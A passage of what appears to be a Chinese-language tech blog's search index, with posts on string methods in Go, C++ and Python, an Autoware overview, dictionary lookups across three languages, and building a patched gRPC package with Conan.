class="hljs-built_in">end</span>(), s.<span class="hljs-built_in">begin</span>(), [](<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> c) { <span class="hljs-keyword">return</span> std::<span class="hljs-built_in">toupper</span>(c); });<br> std::cout << s << std::endl; <span class="hljs-comment">// 输出: HELLO WORLD</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure></li></ol><h3 id="Python-的字符串处理方法"><a href="#Python-的字符串处理方法" class="headerlink" title="Python 的字符串处理方法"></a>Python 的字符串处理方法</h3><p>Python 提供了非常丰富的字符串处理方法,操作字符串非常便捷:</p><ol><li><p><strong><code>str.find(sub)</code></strong></p><p>查找子字符串 <code>sub</code> 在当前字符串中的第一次出现位置。如果未找到,则返回 <code>-1</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"hello world"</span><br>substr = <span class="hljs-string">"world"</span><br><span class="hljs-built_in">print</span>(s.find(substr)) <span class="hljs-comment"># 输出: 6</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.rfind(sub)</code></strong></p><p>查找子字符串 <code>sub</code> 在当前字符串中的最后一次出现位置。如果未找到,则返回 <code>-1</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"hello world world"</span><br>substr = <span class="hljs-string">"world"</span><br><span class="hljs-built_in">print</span>(s.rfind(substr)) <span class="hljs-comment"># 输出: 12</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.startswith(prefix)</code></strong></p><p>检查字符串是否以 <code>prefix</code> 开头。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"hello world"</span><br>prefix = <span class="hljs-string">"hello"</span><br><span class="hljs-built_in">print</span>(s.startswith(prefix)) <span class="hljs-comment"># 输出: True</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.endswith(suffix)</code></strong></p><p>检查字符串是否以 <code>suffix</code> 结尾。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"hello world"</span><br>suffix = <span class="hljs-string">"world"</span><br><span class="hljs-built_in">print</span>(s.endswith(suffix)) <span class="hljs-comment"># 输出: True</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.split(sep=None)</code></strong></p><p>按照分隔符 <code>sep</code> 拆分字符串,返回一个列表。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"a,b,c"</span><br>sep = <span class="hljs-string">","</span><br><span class="hljs-built_in">print</span>(s.split(sep)) <span class="hljs-comment"># 输出: ['a', 'b', 'c']</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.join(iterable)</code></strong></p><p>将可迭代对象中的字符串用当前字符串连接。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">a = [<span class="hljs-string">"a"</span>, <span class="hljs-string">"b"</span>, <span class="hljs-string">"c"</span>]<br>sep = <span class="hljs-string">","</span><br><span class="hljs-built_in">print</span>(sep.join(a)) <span class="hljs-comment"># 输出: a,b,c</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.lower()</code></strong></p><p>将字符串转换为小写字母。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"Hello World"</span><br><span class="hljs-built_in">print</span>(s.lower()) <span class="hljs-comment"># 输出: hello world</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.upper()</code></strong></p><p>将字符串转换为大写字母。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"Hello World"</span><br><span class="hljs-built_in">print</span>(s.upper()) <span class="hljs-comment"># 输出: HELLO WORLD</span><br></code></pre></td></tr></table></figure></li><li><p><strong><code>str.strip(chars=None)</code></strong></p><p>移除字符串两端的指定字符(如果 <code>chars</code> 被提供)。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">s = <span class="hljs-string">"!!!hello!!!"</span><br>chars = <span class="hljs-string">"!"</span><br><span class="hljs-built_in">print</span>(s.strip(chars)) <span class="hljs-comment"># 输出: hello</span><br></code></pre></td></tr></table></figure></li></ol><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>通过对比 Go 语言的 <code>strings</code> 包、C++ 的 <code>std::string</code> 类和 Python 的字符串处理方法,可以看到不同语言在字符串处理上的特点:</p><ul><li><strong>Go 语言</strong> 的 <code>strings</code> 包提供了简单且功能强大的字符串操作函数,非常适合进行基础的字符串处理。</li><li><strong>C++</strong> 提供了底层的字符串操作功能,允许通过标准库和算法库进行灵活的字符串处理,并可以进行高效的性能优化。</li><li><strong>Python</strong> 的字符串处理方法丰富且易于使用,提供了许多便利的功能,使得字符串操作变得非常简单直观。</li></ul>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Go</tag>
<tag>Programming</tag>
</tags>
</entry>
<entry>
<title>AutoWare 初探</title>
<link href="/2024/08/07/AutoWare-Intro/"/>
<url>/2024/08/07/AutoWare-Intro/</url>
<content type="html"><![CDATA[<h3 id="探索-Autoware:开源自动驾驶软件平台"><a href="#探索-Autoware:开源自动驾驶软件平台" class="headerlink" title="探索 Autoware:开源自动驾驶软件平台"></a>探索 Autoware:开源自动驾驶软件平台</h3><h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>随着自动驾驶技术的快速发展,开源软件在推动这一领域的创新和进步中扮演着重要角色。Autoware 是一个由 Autoware Foundation 开发和维护的开源自动驾驶软件平台,它集成了各种先进的技术和工具,为研究人员和开发者提供了一个强大的开发框架。本文将详细介绍 Autoware 的功能、架构、技术栈以及如何参与该项目。</p><h4 id="Autoware-的核心功能"><a href="#Autoware-的核心功能" class="headerlink" title="Autoware 的核心功能"></a>Autoware 的核心功能</h4><p>Autoware 提供了一整套用于自动驾驶的解决方案,涵盖从感知到控制的各个环节:</p><ol><li><p><strong>环境感知</strong>:</p><ul><li><strong>传感器融合</strong>:整合来自激光雷达、摄像头和雷达的数据,生成高精度的环境感知结果。</li><li><strong>对象检测和跟踪</strong>:检测并跟踪车辆、行人和障碍物等动态对象。</li></ul></li><li><p><strong>定位</strong>:</p><ul><li><strong>GNSS 定位</strong>:使用全球导航卫星系统进行初步定位。</li><li><strong>视觉惯性里程计(VIO)</strong>:结合视觉和惯性传感器数据,提高定位精度。</li></ul></li><li><p><strong>路径规划</strong>:</p><ul><li><strong>全局路径规划</strong>:基于高精度地图和导航目标生成最优路径。</li><li><strong>局部路径规划</strong>:实时调整路径以避开动态障碍物。</li></ul></li><li><p><strong>控制</strong>:</p><ul><li><strong>纵向和横向控制</strong>:控制车辆的加速、制动和转向,确保车辆沿规划路径行驶。</li><li><strong>状态监控</strong>:实时监控车辆状态,确保安全行驶。</li></ul></li></ol><h4 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h4><p>Autoware 采用了多种先进技术和工具,包括:</p><ul><li><strong>ROS</strong>:作为中间件,提供消息传递、节点管理等功能。</li><li><strong>Bazel</strong>:用于构建和管理依赖,确保构建过程的高效性和可重复性。</li><li><strong>OpenCV</strong>:用于图像处理和计算机视觉任务。</li><li><strong>PCL</strong>:处理点云数据。</li><li><strong>CUDA</strong>:加速计算密集型任务。</li></ul><h4 id="架构"><a href="#架构" class="headerlink" title="架构"></a>架构</h4><p>Autoware 的架构模块化,便于扩展和定制。主要模块包括:</p><ol><li><strong>感知模块</strong>:处理传感器数据,执行对象检测、跟踪和环境建模。</li><li><strong>定位模块</strong>:整合多种定位方法,提供高精度定位结果。</li><li><strong>规划模块</strong>:执行路径规划和避障算法。</li><li><strong>控制模块</strong>:生成控制命令,驱动车辆执行规划路径。</li></ol><h4 id="如何开始"><a href="#如何开始" class="headerlink" title="如何开始"></a>如何开始</h4><p>Autoware 项目在 GitHub 上开源,用户可以通过以下步骤开始使用:</p><ol><li><strong>克隆代码库</strong>:访问 <a href="https://github.com/autowarefoundation/autoware">Autoware GitHub 仓库</a> 并克隆代码库。</li><li><strong>安装依赖</strong>:根据文档安装所需的依赖,包括 ROS、OpenCV、PCL 等。</li><li><strong>编译项目</strong>:使用 Bazel 构建系统编译 Autoware。</li><li><strong>运行示例</strong>:根据文档运行示例项目,体验 Autoware 的功能。</li></ol><h4 id="社区与支持"><a href="#社区与支持" class="headerlink" title="社区与支持"></a>社区与支持</h4><p>Autoware 拥有一个活跃的开源社区,定期举办会议、研讨会和黑客松活动,促进技术交流和合作。你可以通过 Autoware Foundation 的官方网站和 GitHub 仓库获取最新的开发动态和社区活动信息。</p><h4 id="个人思考"><a href="#个人思考" class="headerlink" title="个人思考"></a>个人思考</h4><p>作为一个开源项目,Autoware 提供了丰富的资源和工具,对于希望进入自动驾驶领域的开发者和相关研究人员而言,这是一个绝佳的学习和实践平台。通过参与 Autoware 项目,不仅可以学习到前沿的自动驾驶技术,还能与全球的开发者共同合作,推动技术进步。</p><p>在使用 Autoware 的过程中,我发现其模块化的设计极大地方便了功能的扩展和定制。同时,Bazel 构建系统的高效性和可靠性也为大规模项目的开发提供了有力支持。接下来,我希望能够在 Autoware 的基础上,通过实际部署操作搭建一套 autoware 的 ci/cd 系统,应用已经学习的相关技术。</p><p>Practice makes perfect</p><h4 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h4><p>Autoware 作为一个开源的自动驾驶软件平台,为开发者和研究人员提供了强大的工具和丰富的资源。通过深入了解和参与该项目,了解自动驾驶的开源平台,学会参与搭建平台工程,提升自身技术水平。</p><p>ROS(Robot Operating System)<br>PCL(Point Cloud Library)</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>OS</tag>
</tags>
</entry>
<entry>
<title>Go 语言学习 —— 字典查找判断</title>
<link href="/2024/07/17/Learning-Golang-002/"/>
<url>/2024/07/17/Learning-Golang-002/</url>
<content type="html"><![CDATA[<p>这两天学习 go 语言字典特性 ,突然想到之前 C++ 和 Python 的字典各有特点,特此写一篇短文总结,对比学习一下三种编程语言字典处理。</p><p>C++ 和 Python 中字典查找和条件判断的简洁方式,在 C++ 和 Python 中,虽然没有像 Go 语言那样的短变量声明语法,但两者都有自己处理字典查找和条件判断的简洁方式。</p><ol><li><p>在 C++ 中,使用 <code>std::map</code> 或 <code>std::unordered_map</code> 进行字典查找时,可以使用 <code>find</code> 方法来检查键是否存在。</p></li><li><p>在 Python 中,可以使用 <code>in</code> 运算符来检查键是否存在于字典中,并直接访问键值。这里是一个示例:</p></li></ol><h2 id="解释和对比"><a href="#解释和对比" class="headerlink" title="解释和对比"></a>解释和对比</h2><h3 id="C"><a href="#C" class="headerlink" title="C++"></a>C++</h3><ul><li><strong>查找键</strong>:使用 <code>find</code> 方法查找键,返回一个迭代器。</li><li><strong>检查键是否存在</strong>:通过比较迭代器和 <code>end()</code> 来判断键是否存在。</li><li><strong>处理结果</strong>:如果键存在,可以通过迭代器访问对应的值;如果不存在,执行其他操作。</li></ul><h3 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h3><ul><li><strong>查找键</strong>:使用 <code>in</code> 运算符直接检查键是否在字典中。</li><li><strong>处理结果</strong>:如果键存在,可以直接访问对应的值;如果不存在,执行其他操作。</li></ul><h3 id="Go"><a href="#Go" class="headerlink" title="Go"></a>Go</h3><ul><li><strong>查找键</strong>:使用 <code>if</code> 语句中的短变量声明,同时检查键是否存在并获取值。</li><li><strong>处理结果</strong>:键存在时,可以直接使用获取的值;键不存在时,进入 <code>else</code> 分支处理。</li></ul><h2 id="示例对比"><a href="#示例对比" class="headerlink" title="示例对比"></a>示例对比</h2><h3 id="C-示例"><a href="#C-示例" class="headerlink" title="C++ 示例"></a>C++ 示例</h3><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><unordered_map></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::unordered_map<std::string, std::string> ci_cd_status = {<br> {<span class="hljs-string">"build1"</span>, <span class="hljs-string">"success"</span>},<br> {<span class="hljs-string">"build2"</span>, <span class="hljs-string">"failure"</span>}<br> };<br><br> <span class="hljs-keyword">auto</span> it = ci_cd_status.<span class="hljs-built_in">find</span>(<span class="hljs-string">"build3"</span>);<br> <span class="hljs-keyword">if</span> (it != ci_cd_status.<span class="hljs-built_in">end</span>()) {<br> std::cout << <span class="hljs-string">"build3 status: "</span> << it->second << std::endl;<br> } <span class="hljs-keyword">else</span> {<br> std::cout << <span class="hljs-string">"build3 not found"</span> << std::endl;<br> }<br><br> it = ci_cd_status.<span class="hljs-built_in">find</span>(<span class="hljs-string">"build2"</span>);<br> <span class="hljs-keyword">if</span> (it != ci_cd_status.<span class="hljs-built_in">end</span>()) {<br> std::cout << <span class="hljs-string">"build2 status: "</span> << it->second << std::endl;<br> } <span class="hljs-keyword">else</span> {<br> std::cout << <span class="hljs-string">"build2 not found"</span> << std::endl;<br> }<br><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><h3 id="Python-示例"><a href="#Python-示例" class="headerlink" title="Python 示例"></a>Python 示例</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs python">ci_cd_status = {<br> <span class="hljs-string">"build1"</span>: <span class="hljs-string">"success"</span>,<br> <span class="hljs-string">"build2"</span>: <span class="hljs-string">"failure"</span>,<br>}<br><br><span class="hljs-keyword">if</span> <span class="hljs-string">"build3"</span> <span class="hljs-keyword">in</span> ci_cd_status:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"build3 status: <span class="hljs-subst">{ci_cd_status[<span class="hljs-string">'build3'</span>]}</span>"</span>)<br><span class="hljs-keyword">else</span>:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"build3 not found"</span>)<br><br><span class="hljs-keyword">if</span> <span class="hljs-string">"build2"</span> <span class="hljs-keyword">in</span> ci_cd_status:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"build2 status: <span class="hljs-subst">{ci_cd_status[<span class="hljs-string">'build2'</span>]}</span>"</span>)<br><span class="hljs-keyword">else</span>:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"build2 not found"</span>)<br><br><span class="hljs-keyword">if</span> <span class="hljs-string">"build1"</span> <span class="hljs-keyword">in</span> ci_cd_status:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"build1 status: <span class="hljs-subst">{ci_cd_status[<span class="hljs-string">'build1'</span>]}</span>"</span>)<br><span class="hljs-keyword">else</span>:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"build1 not found"</span>)<br><br><span class="hljs-keyword">if</span> <span class="hljs-string">"build4"</span> <span class="hljs-keyword">in</span> ci_cd_status:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"build4 not found"</span>)<br></code></pre></td></tr></table></figure><h3 id="Go-示例"><a href="#Go-示例" class="headerlink" title="Go 示例"></a>Go 示例</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-comment">// 字典初始化</span><br> <span class="hljs-keyword">var</span> ci_cd_status = <span class="hljs-keyword">map</span>[<span class="hljs-type">string</span>]<span class="hljs-type">string</span>{<br> <span class="hljs-string">"build1"</span>: <span class="hljs-string">"success"</span>,<br> <span class="hljs-string">"build2"</span>: <span class="hljs-string">"failure"</span>,<br> }<br><br> <span class="hljs-comment">// 查找 "build3" 键并处理键不存在的情况</span><br> <span class="hljs-keyword">if</span> status, ok := ci_cd_status[<span class="hljs-string">"build3"</span>]; ok {<br> fmt.Printf(<span class="hljs-string">"build3 status: %s\n"</span>, status)<br> } <span class="hljs-keyword">else</span> {<br> fmt.Printf(<span class="hljs-string">"build3 not found\n"</span>)<br> }<br><br> <span class="hljs-comment">// 查找 "build2" 键并处理键存在的情况</span><br> <span class="hljs-keyword">if</span> status, ok := ci_cd_status[<span class="hljs-string">"build2"</span>]; ok {<br> fmt.Printf(<span class="hljs-string">"build2 status: %s\n"</span>, status)<br> } <span class="hljs-keyword">else</span> {<br> fmt.Printf(<span class="hljs-string">"build2 not found\n"</span>)<br> }<br><br> <span class="hljs-comment">// 查找 "build1" 键并处理键存在的情况</span><br> <span class="hljs-keyword">if</span> status, ok := ci_cd_status[<span class="hljs-string">"build1"</span>]; ok {<br> fmt.Printf(<span class="hljs-string">"build1 status: %s\n"</span>, status)<br> } <span class="hljs-keyword">else</span> {<br> fmt.Printf(<span class="hljs-string">"build1 not found\n"</span>)<br> }<br><br> <span class="hljs-comment">// 查找一个不存在的键 "build4"</span><br> <span class="hljs-keyword">if</span> status, ok := ci_cd_status[<span class="hljs-string">"build4"</span>]; ok {<br> fmt.Printf(<span class="hljs-string">"build4 status: %s\n"</span>, status)<br> } <span class="hljs-keyword">else</span> {<br> fmt.Printf(<span class="hljs-string">"build4 not found\n"</span>)<br> }<br>}<br></code></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Go 语言的 <code>if</code> 语句中的短变量声明极大地提高了代码的可读性和简洁性,而 C++ 和 Python 也提供了各自简洁的实现方式。</p><p>Go 语言的字典(map)是一种键值对数据结构。Go 语言的 map 实现是一个哈希表。在 Go 的源码中,map 的实现相对复杂,涉及哈希函数、碰撞处理和内存管理等机制。在 Go 的源码中,map 的实现位于 <code>src/runtime/map_siwss.go</code> (基于SwissTable算法的哈希表)文件中。map 的底层结构主要由以下几个部分组成:<br> • <code>bucket</code>:存储键值对的基本单元。<br> • <code>hmap</code>:代表整个哈希表的结构体。</p><p>感兴趣的朋友可以去 go 源代码库详细查看,链接如 <a href="https://github.com/golang/go/blob/e705a2d16e4ece77e08e80c168382cdb02890f5b/src/runtime/map_swiss.go#L113">map_swiss.go</a></p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Go</tag>
<tag>Programming</tag>
</tags>
</entry>
<entry>
<title>Conan 包管理</title>
<link href="/2023/06/18/CM-Conan/"/>
<url>/2023/06/18/CM-Conan/</url>
<content type="html"><![CDATA[<p>Conan是一个用于C++项目的包管理器,它可以帮助您管理项目所需的依赖项和库。它可以提高构建速度和可靠性,并使您的项目更易于维护。在本文中,我们将探讨Conan的使用、Conan recipe以及踩坑经验。</p><h3 id="1-Conan是什么以及为什么要使用它?"><a href="#1-Conan是什么以及为什么要使用它?" class="headerlink" title="1. Conan是什么以及为什么要使用它?"></a>1. Conan是什么以及为什么要使用它?</h3><p>Conan是一个开源的C++包管理器,它可以帮助您管理项目所需的依赖项和库。Conan可以自动下载和构建依赖项,并将它们编译成二进制文件,这可以提高构建速度和可靠性。Conan还提供了一种简单的方法来共享代码和依赖项,并使您的项目更易于维护。</p><h3 id="2-如何安装和配置Conan?"><a href="#2-如何安装和配置Conan?" class="headerlink" title="2. 如何安装和配置Conan?"></a>2. 如何安装和配置Conan?</h3><p>您可以使用pip或安装程序来安装Conan,并使用<code>conan config</code>命令来配置Conan。您还可以使用<code>conan remote</code>命令添加远程存储库,以便获取和分发包。配置Conan是很容易的,只需运行以下命令:</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs mipsasm">pip <span class="hljs-keyword">install </span>conan<br>conan <span class="hljs-built_in">config</span> <span class="hljs-keyword">install </span><path-to-<span class="hljs-built_in">config</span>-file><br></code></pre></td></tr></table></figure><p>在配置文件中,您可以指定默认的编译器、构建类型和其他设置。</p><h3 id="3-如何创建和使用Conan-recipe?"><a href="#3-如何创建和使用Conan-recipe?" class="headerlink" title="3. 如何创建和使用Conan recipe?"></a>3. 如何创建和使用Conan recipe?</h3><p>Conan recipe是一个描述如何构建和打包C++库或应用程序的文件。您可以使用<code>conan new</code>命令创建新的Conan recipe,并使用<code>conan create</code>命令构建和上传包。您还可以使用<code>conan install</code>命令安装包,并使用<code>conan info</code>命令查看有关包的信息。</p><p>创建一个新的Conan recipe非常简单,只需运行以下命令:</p><figure class="highlight d"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs d">conan <span class="hljs-keyword">new</span> <<span class="hljs-keyword">package</span>-name>/<<span class="hljs-keyword">version</span>><br></code></pre></td></tr></table></figure><p>这将创建一个名为<code><package-name></code>的目录,其中包含一个名为<code>conanfile.py</code>的文件。在此文件中,您可以指定依赖项、构建设置和其他选项,以及如何构建和打包代码。</p><p>要构建和上传包,请运行以下命令:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs xml">conan create . <span class="hljs-tag"><<span class="hljs-name">user</span>></span>/<span class="hljs-tag"><<span class="hljs-name">channel</span>></span><br></code></pre></td></tr></table></figure><p>这将自动下载、构建和上传包到指定的远程存储库。</p><h4 id="4-更新社区-patch"><a href="#4-更新社区-patch" class="headerlink" title="4. 更新社区 patch"></a>4. 更新社区 patch</h4><p>针对 grpc 1.41.1 版本的问题,我们需要一个社区 patch 进行修复。如何快速纳入 patch,制作 Conan 包。</p><p>4.1 准备好 grpc 1.41.1 源码包 </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">git <span class="hljs-built_in">clone</span> git@github.com:conan-io/conan-center-index.git<br></code></pre></td></tr></table></figure><p>4.2 社区 patch </p><p>(针对问题 <a href="https://github.com/grpc/grpc/issues/22803">InsecureChannelCredentials stuck on call</a>)</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">shasum -a 256 grpc-1.41.1.tar<br></code></pre></td></tr></table></figure><p><img src="https://user-images.githubusercontent.com/11768073/246641079-fc4a103c-064c-4dd5-8353-2b3c2191c527.png"></p><p>4.3 grpc conan recipie</p><p><a href="https://conan.io/center/grpc?version=1.41.1&tab=recipe">grpc-1.41.1-recipe</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> conan.tools.microsoft.visual <span class="hljs-keyword">import</span> msvc_version_to_vs_ide_version<br><span class="hljs-keyword">from</span> conan.tools.files <span class="hljs-keyword">import</span> rename<br><span class="hljs-keyword">from</span> conans <span class="hljs-keyword">import</span> ConanFile, CMake, tools<br><span class="hljs-keyword">from</span> conans.errors <span class="hljs-keyword">import</span> ConanInvalidConfiguration<br><span class="hljs-keyword">import</span> os<br><br>required_conan_version = <span class="hljs-string">">=1.43.0"</span><br><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">grpcConan</span>(<span class="hljs-title class_ inherited__">ConanFile</span>):<br> name = <span class="hljs-string">"grpc"</span><br> description = <span class="hljs-string">"Google's RPC (remote procedure call) library and framework."</span><br> topics = (<span class="hljs-string">"grpc"</span>, <span class="hljs-string">"rpc"</span>)<br> url = <span class="hljs-string">"https://github.com/conan-io/conan-center-index"</span><br> homepage = <span class="hljs-string">"https://github.com/grpc/grpc"</span><br> license = <span class="hljs-string">"Apache-2.0"</span><br> .....<br><br></code></pre></td></tr></table></figure><p>下面列出 conan recipe 常见函数和用途</p><table><thead><tr><th>函数</th><th>用途</th></tr></thead><tbody><tr><td>def configure(self)</td><td>配置构建环境,例如设置编译器、编译选项等。</td></tr><tr><td>def requirements(self)</td><td>定义依赖项,例如其他库或工具。</td></tr><tr><td>def build(self)</td><td>构建软件包,例如编译、链接等。</td></tr><tr><td>def package(self)</td><td>打包软件包,例如创建二进制文件、库文件等。</td></tr><tr><td>def package_info(self)</td><td>配置链接和运行时依赖项,例如设置库路径、头文件路径等。</td></tr><tr><td>def source(self)</td><td>下载源代码,并可选地对其进行解压缩和修补。</td></tr><tr><td>def build_requirements(self)</td><td>定义构建时依赖项,例如构建工具或编译器插件。</td></tr><tr><td>def test(self)</td><td>运行测试套件,例如使用 CTest 运行测试用例。</td></tr><tr><td>def package_id(self)</td><td>定义软件包的唯一标识符,例如版本号、ABI 等。</td></tr></tbody></table><p>4.4 构建制作 grpc with patch </p><p>(1) 确保在 conanfile.py 中正确修改目标版本号 e.g 1.41.1<br><img src="https://user-images.githubusercontent.com/11768073/246630032-acc19648-428e-448f-8119-4917bd425db3.png"><br>(2) 安装依赖项</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">conan install . --building=missing<br></code></pre></td></tr></table></figure><p>(3) 本地构建</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">conan create . <username>/<chanel><br></code></pre></td></tr></table></figure><p><img src="https://user-images.githubusercontent.com/11768073/246641149-5c9e44a7-4706-412d-bdc3-7ff40ec6fe83.png" alt="conan create"></p><h3 id="5-踩坑经验和解决方案"><a href="#5-踩坑经验和解决方案" class="headerlink" title="5. 踩坑经验和解决方案"></a>5. 踩坑经验和解决方案</h3><p>在使用Conan时,可能会遇到一些问题。以下是一些常见问题及其解决方案:</p><ul><li><p>问题:无法找到依赖项。<br>解决方案:确保已正确指定依赖项,并将其添加到<code>conanfile.py</code>文件中。</p></li><li><p>问题:构建失败。<br>解决方案:检查构建设置是否正确,并确保已正确安装所有依赖项。</p></li><li><p>问题:无法上传包。<br>解决方案:确保已正确配置远程存储库,并使用正确的用户名和密码进行身份验证。</p></li></ul><h3 id="6-优化"><a href="#6-优化" class="headerlink" title="6. 优化"></a>6. 优化</h3><p>Conan是一个用于C++项目的包管理器,可以帮助您管理项目所需的依赖项和库。在使用Conan时,可以通过指定不同的选项和设置来优化Conan的行为,以提高构建速度和可靠性。</p><p>以下是一些优化Conan的方法:</p><p>(1)缓存Conan包:Conan包可以被缓存到本地,以便在需要时快速访问。可以使用<code>conan install</code>命令的<code>--build</code>选项来控制是否重新构建包。例如,使用<code>conan install -s build_type=Release --build missing</code>命令可以缓存Release版本的包,并在需要时重新构建缺失的包。</p><p>(2)使用远程存储库:Conan支持使用远程存储库来获取和分发包。您可以使用<code>conan remote add</code>命令添加远程存储库,并使用<code>conan 